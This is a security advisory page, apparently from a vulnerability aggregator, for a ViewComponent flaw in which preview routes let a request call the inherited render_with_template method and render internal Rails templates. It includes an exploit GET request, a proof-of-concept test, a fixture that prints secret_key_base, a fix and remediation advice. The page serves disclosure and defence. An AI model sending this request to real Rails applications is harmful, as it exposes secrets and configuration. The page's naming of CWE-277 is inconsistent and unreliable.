Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.
As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.
If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.
Severity: High if preview routes are externally reachable; Medium otherwise.
Affected files:
lib/view_component/preview.rbapp/controllers/concerns/view_component/preview_actions.rbapp/views/view_components/preview.html.erb
Relevant Code
app/controllers/concerns/view_component/preview_actions.rb:
@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)lib/view_component/preview.rb:
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)app/views/view_components/preview.html.erb:
<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>The UI only lists direct preview methods via:
public_instance_methods(false).map(&:to_s).sortBut render_args does not enforce that list before dispatching.
Exploit Flow
Example request:
GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-requestFlow:
my_componentresolves to a valid preview.File.basename(params[:path])returnsrender_with_template.render_argscalls inheritedViewComponent::Preview#render_with_template.- Request params provide
template: "internal/secret"andlocals: {...}. - The preview view renders
internal/secretwith attacker-controlled locals.
Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.
PoC Test
This checkout already contains a PoC at:
test/sandbox/test/security_preview_template_poc_test.rbtest/sandbox/app/views/internal/secret.html.erb
The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.
If reproducing manually, run:
bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rbEquivalent standalone test:
# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end
def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"
assert_raises(ActionController::RoutingError) do
Rails.application.routes.recognize_path("/internal/secret")
end
get(
"/rails/view_components/my_component/render_with_template",
params: {
template: "internal/secret",
locals: {poc_local: "attacker-controlled-local"},
request_marker: "attacker-controlled-request"
}
)
assert_response :success
assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
end
endFixture template:
<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>Suggested Fix
Only dispatch explicitly declared preview examples:
def render_args(example, params: {})
example = example.to_s
raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
endAdd a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.
AnalysisAI
ViewComponent preview routes allow authenticated attackers to invoke inherited helper methods including render_with_template, enabling rendering of internal Rails templates and exposure of secrets, configuration, and debug data not otherwise routable. The vulnerability requires authenticated access (CVSS PR:L) and affects versions 3.0.0 through 4.8.x; it is confirmed by proof-of-concept code in the vendor repository and requires preview routes to be externally exposed.
Technical ContextAI
ViewComponent is a Rails view rendering gem that provides a preview system for component development. The vulnerability exists in the preview dispatch mechanism (app/controllers/concerns/view_component/preview_actions.rb and lib/view_component/preview.rb) which uses Ruby's public_send to invoke preview example methods derived from URL path parameters. The code does not validate that the requested method is an explicitly declared preview example; instead it allows invocation of any public method inherited from the ViewComponent::Preview base class. The render_with_template method, inherited from the base class, accepts template and locals parameters that are passed directly to Rails render with no validation of the template path. This is a classic authorization bypass (CWE-277: Improper Access Control) where method enumeration is not enforced at the dispatch layer.
RemediationAI
Upgrade view_component gem to version 4.9.0 or later immediately. Apply this patch by updating the Gemfile to gem 'view_component', '~> 4.9.0' and running bundle update view_component. For installations that cannot immediately upgrade, restrict access to preview routes by adding authentication/authorization middleware to /rails/view_components/* paths, removing or disabling preview route mounting in production/shared environments, and auditing access logs for suspicious requests to preview endpoints with inherited method names (render_with_template, render, etc.). If preview functionality is not needed, remove ViewComponent::Preview mounting from Rails routes entirely or gate it behind strict IP whitelisting. Note that simply disabling preview routes eliminates the attack surface but may impact developer workflow.
Same weakness CWE-277 – Insecure Inherited Permissions
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-31972
GHSA-7f3r-gwc9-2995